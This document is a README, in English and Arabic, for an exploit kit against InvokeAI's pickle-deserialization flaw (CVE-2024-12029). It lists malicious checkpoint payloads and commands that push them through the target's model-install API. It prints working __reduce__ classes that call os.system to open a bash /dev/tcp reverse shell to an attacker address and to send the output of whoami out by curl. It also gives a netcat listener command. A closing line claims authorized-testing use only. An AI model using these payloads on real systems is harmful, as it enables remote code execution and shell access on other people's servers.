
This repository contains alternative payload approaches for the InvokeAI RCE vulnerability (CVE-2024-12029) when SSH key injection fails. The payloads are designed to test if pickle deserialization is actually occurring and provide alternative access methods.
يحتوي هذا المستودع على نهج حمولات بديلة لثغرة InvokeAI RCE (CVE-2024-12029) عندما تفشل آلية حقن مفتاح SSH. تم تصميم الحمولات لاختبار ما إذا كان إلغاء تسلسل pickle يحدث بالفعل وتوفير طرق وصول بديلة.
عندما يتم تسليم حمولات حقن مفتاح SSH بنجاح (الحالة 201) ولكن الوصول عبر SSH لا يزال يتطلب كلمة مرور، يشير ذلك إلى واحد مما يلي:
payload_reverse_bash.ckpt (89 بايت) - شل عكسي Bashpayload_reverse_python.ckpt (267 بايت) - شل عكسي Pythonpayload_reverse_nc.ckpt (70 بايت) - شل عكسي Netcatpayload_callback_test.ckpt (115 بايت) - رد اتصال HTTP للتحقق من إلغاء التسلسلpayload_test.ckpt (90 بايت) - اختبار إنشاء ملف بسيطpayload_alt_exec.ckpt (223 بايت) - طريقة تنفيذ بديلةpayload_ssh_simple.ckpt (271 بايت) - حقن مفتاح SSH متوافق مع Linuxkali_reverse_test.py - مجموعة اختبار شاملةreverse_shell_payload.py - توليد حمولات الشل العكسيpython web_server.py --port 8000
# Copy kali_reverse_test.py to Kali and run:
python3 kali_reverse_test.py
# Choose option 1 to test callback
# Start listener on Kali:
nc -lvnp 4444
# Send reverse shell payload:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_reverse_bash.ckpt', 'inplace': 'true'}, json={})"
# Test basic command execution:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_test.ckpt', 'inplace': 'true'}, json={})"
# Verify file creation:
ssh [email protected] 'cat /tmp/payload_test.txt'
/tmp/payload_test.txt على الهدفclass CallbackTestPayload:
def __reduce__(self):
import os
command = 'curl "http://192.168.45.168:8000/callback?success=1&user=$(whoami)"'
return (os.system, (command,))
class ReverseShellPayload:
def __reduce__(self):
import os
command = f'bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1"'
return (os.system, (command,))
class TestPayload:
def __reduce__(self):
import os
return (os.system, ('echo "PAYLOAD_EXECUTED_$(date)" > /tmp/payload_test.txt',))
torch.load()هذا المستودع مخصص لأغراض الاختبارات الأمنية التعليمية والمرخصة فقط. المستخدمون مسؤولون عن ضمان حصولهم على الترخيص المناسب قبل اختبار أي أنظمة.